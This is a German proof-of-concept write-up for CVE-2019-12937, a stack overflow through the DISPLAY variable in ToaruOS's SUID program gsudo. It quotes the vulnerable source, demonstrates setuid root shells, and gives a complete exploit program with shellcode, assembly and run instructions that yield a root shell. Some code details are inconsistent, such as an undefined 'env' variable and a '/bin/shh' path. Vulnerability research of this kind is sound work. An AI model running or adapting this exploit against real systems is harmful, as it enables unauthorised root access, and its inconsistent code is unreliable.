
Proof-of-Concept-Exploit für CVE-2019-12937, ein Pufferüberlauf im gsudo SUID-Binärprogramm von ToaruOS, der eine lokale Rechteausweitung auf Root über eine manipulierte DISPLAY-Umgebungsvariable ermöglicht.
ToaruOS ist ein Open-Source-Betriebssystem, das in C geschrieben wurde, ein Hobby-Betriebssystem, das von einem Informatik-Studenten der University of Illinois entwickelt wurde. ToAruOS läuft auf POSIX- und x86-Architekturen. Zu den Hauptfunktionen von ToAruOS gehören Unterstützung für Prozesse und Threads, ELF-Binaries, Laufzeit-Module, Pipes und verschiedene Arten von TTYs, ein virtuelles Dateisystem, Unterstützung für EXT2-Dateisysteme, Semaphore usw.
In ToaruOS 1.10.9 und früheren Versionen gibt es eine Pufferüberlauf-Schwachstelle in der Datei apps/gsudo.c des Programms gsudo. Angreifer können diese Schwachstelle über die Umgebungsvariable DISPLAY ausnutzen, um ihre Berechtigungen auf root zu erhöhen.
Kopieren Sie die Datei poc.c in das ToaruOS-System und führen Sie im Kopierverzeichnis Folgendes aus:
gcc -o poc poc.c
./poc
In der Funktion pex_connect wird mit sprintf ein String zusammengesetzt, jedoch wird die Länge des Parameters target nicht überprüft. Wenn target zu lang ist, kommt es zu einem Stack-Überlauf.
FILE * pex_connect(char * target) {
char tmp[100];
sprintf(tmp, "/dev/pex/%s", target);
FILE * out = fopen(tmp, "r+");
if (out) {
setbuf(out, NULL);
}
return out;
}
Dabei ist der Parameter target der Wert der Umgebungsvariablen DISPLAY.
yutani_t * yutani_init(void) {
char * server_name = getenv("DISPLAY");
if (!server_name) {
server_name = "compositor";
}
FILE * c = pex_connect(server_name);
if (!c) {
return NULL; /* Verbindung fehlgeschlagen. */
}
......
......
}
Das Programm gsudo ruft die Funktion yutani_init auf. gsudo ist ein Programm mit SUID-Berechtigung, sodass es bei der Ausführung mit root-Berechtigung läuft. Der oben beschriebene Überlauf kann zur Berechtigungserhöhung genutzt werden.
int main(int argc, char ** argv) {
if (argc < 2) {
return 1;
}
yctx = yutani_init();
....
....
}
SUID-Programme haben die Berechtigungen s und t, um normalen Benutzern zu ermöglichen, bei der Ausführung bestimmter Programme vorübergehend die Berechtigungen des Eigentümers des Programms zu erhalten.
Im Folgenden wird der Ablauf eines SUID-Programms getestet.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void main()
{
int res;
res = setuid(0);
printf("%d\n",res);
system("/bin/sh");
}
Die Funktion setuid setzt die Identität des aktuellen Benutzers. Wenn der Parameter 0 ist, wird der aktuelle Prozess auf root gesetzt. Nach dem Aufruf von setuid wird eine Shell ausgeführt, um den aktuellen Benutzer zu beobachten.
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ gcc -o setuid setuid.c
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
-1
$ whoami
akashic
$ exit
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chown root ./setuid
[sudo] Passwort für akashic:
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ sudo chmod u+s ./setuid
akashic@ubuntu:~/Kanxue/CVE-2019-12937_ToaruOS$ ./setuid
0
# whoami
root
# exit
In ToaruOS werden nach dem Systemstart alle Programme durch fork und exec_elf geladen. Die Berechtigungen des Programms entsprechen denen des Elternprozesses. Wenn ein Programm die SUID-Berechtigung hat, wird die Prozessberechtigung auf die des Dateieigentümers gesetzt.
Der Überlauf tritt in einem Programm mit SUID-Berechtigung auf. Daher kann der Stack-Überlauf zur Berechtigungserhöhung genutzt werden.
ToaruOS verfügt über keine Schutzmechanismen wie ASLR (Address Space Layout Randomization), HEAP-ASLR oder NX (Nicht ausführbarer Stack). Die Ausnutzung ist daher recht einfach, aber es fehlen Debugging-Tools wie gdb, was etwas mehr Aufwand erfordert.
Durch den Stack-Überlauf wird der EIP auf die Adresse unseres Payloads zur Berechtigungserhöhung gelenkt. Der Stack ist ausführbar und seine Adresse ist fest. Wir legen den Payload über die Variable environ auf den Stack. Die Adressen von argv und environ werden direkt ausgegeben.
#include <stdio.h>
extern char **environ;
void main(int argc, char *argv[])
{
printf("argv:%x\t\t\n",argv);
printf("environ:%x\t\n",env);
return 0;
}
Ergebnis
argv: 3f00c00c
environ: 3f022010
Setzen Sie den Wert der Umgebungsvariablen so, dass der EIP auf einen Bereich zwischen argv und environ zeigt. Der EIP darf keine \x00-Zeichen enthalten. Dies wird durch Auffüllen mit NOP-Anweisungen umgangen.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define EIP "\xb0\xb0\x01\x3f"
#define EIP_DISTANCE 25U
char shellcode[] = {
0x31, 0xc0, 0x04, 0x18, 0x31, 0xdb, 0xcd, 0x7f, 0xeb, 0x1a, 0x5b, 0x31,
0xc0, 0x88, 0x43, 0x07, 0x89, 0x5b, 0x08, 0x89, 0x43, 0x0c, 0x04, 0x07,
0x8d, 0x4b, 0x08, 0x8d, 0x53, 0x0c, 0xcd, 0x7f, 0x31, 0xc0, 0xcd, 0x7f,
0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
0x68, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00
};
unsigned int shellcode_length = 57;
int main(void)
{
char payload[65536];
char vector[8192] = "DISPLAY=Akashic";
char * const arg[3] = { "/bin/gsudo", "meh", NULL };
char * const env[3] = { payload, vector, NULL };
memset(payload, 'A', sizeof(payload) - shellcode_length - 1);
payload[sizeof(payload) - shellcode_length - 1] = 0;
strcat(payload, shellcode);
for (unsigned int i = 0; i < EIP_DISTANCE; i++)
strcat(vector, EIP);
execve("/bin/gsudo", arg, env);
perror("execve()");
exit(EXIT_FAILURE);
}
Im Payload wird zunächst setuid(0) ausgeführt, um die Berechtigungen des aktuellen Prozesses zu setzen, und dann system("/bin/shh"), um eine Shell zu erhalten. ToaruOS verwendet int 0x7f für Systemaufrufe. Die Systemaufrufnummern befinden sich in syscall_nums.h. setuid entspricht 24, system entspricht 7.
xor eax, eax
add al, 24
xor ebx, ebx
int 0x7f
jmp short end
start:
pop ebx
xor eax, eax
mov [ebx+7], al
mov [ebx+8], ebx
mov [ebx+12], eax
add al, 7
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 0x7f
xor eax, eax
int 0x7f
end:
call start
db "/bin/shh"
db "XXXXXXXX"